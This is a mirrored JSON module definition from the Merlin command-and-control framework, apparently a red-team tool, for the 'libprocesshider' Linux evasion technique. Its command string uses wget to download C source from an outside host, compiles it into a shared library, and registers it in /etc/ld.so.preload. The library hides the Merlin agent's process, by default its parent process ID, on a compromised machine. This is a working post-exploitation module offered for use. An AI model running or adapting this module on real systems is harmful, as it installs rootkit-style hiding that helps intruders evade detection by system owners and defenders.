mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Ne0nd0g
25 lines
2.1 KiB
JSON
25 lines
2.1 KiB
JSON
{
|
|
"base": {
|
|
"name": "libprocesshider",
|
|
"type": "standard",
|
|
"author": ["Tony M Lambert (@ForensicITGuy)"],
|
|
"credits": ["Gianluca Borello (@gianlucaborello)"],
|
|
"path": ["linux", "x64", "bash", "evasion", "libprocesshider.json"],
|
|
"platform": "linux",
|
|
"arch": "x64",
|
|
"lang": "bash",
|
|
"privilege": true,
|
|
"notes": "https://github.com/gianlucaborello/libprocesshider . Requires privileged access and gcc. The module will download the library, compile the shared object, place it in /usr/local/lib, and make a reference entry in /etc/ld.so.preload",
|
|
"remote": "https://raw.githubusercontent.com/gianlucaborello/libprocesshider/master/processhider.c",
|
|
"local": ["data", "src", "gianlucaborello", "libprocesshider", "libprocesshider.c"],
|
|
"options": [
|
|
{"name": "pid", "value": "$PPID", "required": true, "flag": "", "description": "Process ID to hide. Default hides Merlin Agent."},
|
|
{"name": "fileName", "value": "libprocesshider", "required": true, "flag": "", "description": "The file name that will be used for the .c file and .so module. Do not add a file extension"},
|
|
{"name": "downloadLocation", "value" : "/tmp/", "required": true, "flag": "", "description": "The location where the .c file will be downloaded to. Must include trailing /"}
|
|
],
|
|
"description": "Libprocesshider hides any process name, for the provided Process ID, under Linux using the ld preloader.",
|
|
"commands": [
|
|
"/bin/sh", "-c", "'wget -q -O {{downloadLocation.Value}}{{fileName.Value}}.c https://raw.githubusercontent.com/gianlucaborello/libprocesshider/master/processhider.c && PPID_NAME=`cat /proc/{{pid.Value}}/comm` && sed -i \"s/evil_script.py/$PPID_NAME/g\" {{downloadLocation.Value}}{{fileName.Value}}.c && gcc -Wall -fPIC -shared -o /usr/local/lib/{{fileName.Value}}.so {{downloadLocation.Value}}{{fileName.Value}}.c -ldl && echo /usr/local/lib/{{fileName.Value}}.so >> /etc/ld.so.preload && rm {{downloadLocation.Value}}{{fileName.Value}}.c && echo \"$PPID_NAME process successfully hidden\"'"
|
|
]
|
|
}
|
|
} |